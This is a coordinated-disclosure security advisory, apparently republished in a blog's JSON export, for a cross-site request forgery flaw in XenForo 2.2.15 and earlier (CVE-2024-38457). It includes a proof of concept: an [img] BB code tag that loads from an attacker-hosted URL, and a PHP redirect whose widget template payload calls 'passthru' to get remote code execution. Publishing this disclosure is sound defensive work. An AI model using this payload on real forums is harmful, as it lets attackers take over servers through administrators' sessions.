——————————————————————————-
XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
——————————————————————————-<\/p>\n
[-] Software Link:<\/p>\n
https:\/\/xenforo.com<\/p>\n
[-] Affected Versions:<\/p>\n
Version 2.2.15 and prior versions.<\/p>\n
[-] Vulnerability Description:<\/p>\n
The XF\\Admin\\Controller\\Widget::actionSave() method, defined into the
\/src\/XF\/Admin\/Controller\/Widget.php script, does not check whether the
current HTTP request is a POST or a GET before saving a widget.
XenForo does perform anti-CSRF checks for POST requests only, as such
this method can be abused in a Cross-Site Request Forgery (CSRF)
attack to create\/modify arbitrary XenForo widgets via GET requests,
and this can also be exploited in tandem with KIS-2024-06 to perform
CSRF-based Remote Code Execution (RCE) attacks.<\/p>\n
Furthermore, XenForo implements a BB code system, as such this
vulnerability could also be exploited through “Stored CSRF” attacks by
abusing the [img] BB code tag, creating a thread or a private message
(to be sent to the victim user) like the following:<\/p>\n
[img]https:\/\/attacker.website\/exploit.php[\/img]<\/p>\n
Where the exploit.php script hosted on the attacker-controlled website
could be something like this:<\/p>\n
<?php<\/p>\n
$url = “https:\/\/victim.website\/xenforo\/”;<\/p>\n
header(“Location:
{$url}admin.php?widgets\/save&definition_id=html&widget_key=RCE&positions[pub_sidebar_top]=1&display_condition=true&options[template]={{\\$xf.app.em.getRepository(‘XF\\\\Util\\\\Arr’).filterRecursive([‘id’],’passthru’)}}”);<\/p>\n
?><\/p>\n
Successful exploitation of this vulnerability requires a victim user
with permissions to administer styles or widgets to be currently
logged into the Admin Control Panel.<\/p>\n
[-] Solution:<\/p>\n
Update to a fixed version or apply the vendor patches.<\/p>\n
[-] Disclosure Timeline:<\/p>\n
[22\/02\/2024] – Vulnerability details sent to SSD Secure Disclosure
[05\/06\/2024] – Vendor released patches and fixed versions
[14\/06\/2024] – CVE identifier requested
[16\/06\/2024] – CVE identifier assigned
[16\/07\/2024] – Coordinated public disclosure<\/p>\n
[-] CVE Reference:<\/p>\n
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2024-38457 to this vulnerability.<\/p>\n
[-] Credits:<\/p>\n
Vulnerability discovered by Egidio Romano.<\/p>\n
[-] Other References:<\/p>\n
https:\/\/xenforo.com\/community\/threads\/222133
https:\/\/ssd-disclosure.com\/ssd-advisory-xenforo-rce-via-csrf\/<\/p>\n
[-] Original Advisory:<\/p>\n
http:\/\/karmainsecurity.com\/KIS-2024-05<\/p>\n","protected":false},"excerpt":{"rendered":"
——————————————————————————-XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability——————————————————————————- [-] Software Link: https:\/\/xenforo.com [-] Affected Versions: Version 2.2.15 and prior versions. [-] Vulnerability Description: The XF\\Admin\\Controller\\Widget::actionSave() method, defined into the\/src\/XF\/Admin\/Controller\/Widget.php script, does not check whether thecurrent HTTP request is a POST or a GET before saving a widget.XenForo does perform anti-CSRF checks for POST requests only, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58251","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58251","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58251"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58251\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58251"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58251"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58251"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}